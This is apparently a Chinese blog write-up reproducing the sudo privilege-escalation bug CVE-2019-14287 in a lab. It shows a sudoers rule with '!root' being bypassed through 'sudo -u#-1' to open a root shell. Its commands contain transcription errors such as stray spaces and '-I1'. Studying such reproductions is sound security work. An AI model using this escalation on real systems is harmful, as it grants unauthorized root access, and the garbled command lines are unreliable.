SUDO提权:CVE-2019-14287
SUDO提权:CVE-2019-14287(复现)
漏洞概述
sudo错误地处理了某些用户id。攻击者可能利用此漏洞以根用户身份执行任意命令。
漏洞危害等级:高危
影响版本
| 组件 | 版本 |
|---|---|
| os | linux2019.3 |
| web server | sudo1.8.27 |
基础环境
基础知识:
- sudo的作用:
Linux是多用户多任务的操作系统,共享该系统的用户往往不只一个。 出于安全性考虑,有必要通过useradd创建一些非root用户, 只让它们拥有 不完全的权限;如有必要,再来提升权限执行。sudo就是来解决这个需求的:这些非root用户不需要知道root的密码,只需要输入当前用户密码,就可以提权到root,执行- -些root才能执行的命令。 - sudo的权限控制:
sudo的权限控制在配置文件[/etc/sudoers]中,当然他有些自己的语法特性。该文件权限
root@kali : ~# ls -al /etc/sudoers
-r--r----- 1 root root 669 Aug 6 14: 58 /etc/sudoers
root@kali : ~#
该文件的修改需要特殊的编辑器visudo
漏洞复现
备份文件
root@kali:~# cp /etc/sudoers /etc/ sudoers.bak
root@kali:~#+ ls -al /etc/ sudoers*
-r--r----- 1 root root 669 Aug 6 14:58 /etc/ sudoers
-r--r----- 1 root root 669 Oct 15 08:05 /etc/ sudoers .bak
/etc/ sudoers .d:
total 20
drwxr-xr-x 2 root root 4096 Aug 30 09:46 .
drwxr-xr-x 163 root root 12288 Oct 15 08:05 . .
-r--r----- 1 root root 958 Aug 6 14:58 README
root@kali:~#
新建用户
root@kali:~# useradd marry
root@kali:~# passwd marry
New password:
Retype new password:
passwd: password updated successfully
rootakali:~# useradd test
root@kali:~# passwd test
New pas sword:
Retype new password:
passwd: password updated successfully
rootkali:~#
尝试修改规则
修改配置文件,直接输入命令visudo,添加以下内容
marry ALL=(ALL) /usr/bin/id
这段话的含义是,允许marry用户再所有主机上,以所有用户的身份只能运行id命令
命令测试:
root@kali:~# su - marry
su: warning: cannot change di rectory to /home/marry: No such file or di
$ id
uid=1000 (marry) gid=1000 (marry) groups=1000 (marry)
$ sudo -u root id
uid=0 (root) gid=0 (root) groups=0 (root)
$ sudo -u test id
uid=1001 (test) gid=1001 (test) groups=1001 (test)
$ sudo -u root whoami
Sorry, user marry is not allowed to execute ' /usr/bin/ whoami ' as root 0
$ sudo -u test whoami
Sorry, user marry is not allowed to execute ' /usr/bin/whoami ' as test o
$
其他形式:
root@kali:~# su - marry
su: warning: cannot change di rectory to /home/marry: No such file or di
$ sudo -u#0 id
uid=0 (root) gid=0 (root) groups=0 (root)
$ sudo -u#1001 id
uid=1001 (test) gid=1001 (test) groups=1001 (test)
$
漏洞所在:
root@kali:~# su - marry
su: warning: cannot change directory to /home/marry: No such file or di
$ sudo -u#-1 id
uid=0 (root) gid=1000 (marry) groups=1000 (marry)
$
测试marry用户可以以任何用户身份执行,除了root用户,执行任意命令
marry ALL=(ALL,!root) ALL
测试如下:
root@kali:~# su - marry
su: warning: cannot change directory to /home/marry: No such file or di
$ sudo -u test id
uid=1001 (test) gid=1001 (test) groups=1001 (test)
$ sudo -u test whoami
test
$ sudo -u root id
Sorry, user marry is not allowed to execute ' /usr/bin/ id' as root on ka
$ sudo -U root whoami
Sorry, user marry is not allowed to execute ' /usr/bin/whoami ' as root c
$
漏洞触发
root@kali:~# su - marry
su : warning: cannot change directory to /home/marry: No such file or di
$ sudo -u#-I1 id
uid=0 (root) gid=1000 (marry) groups=1000 (marry)
$ sudo -u#-1 /bin/bash
root@kali: / root# whoami
root
root@kali: / root#

浙公网安备 33010602011771号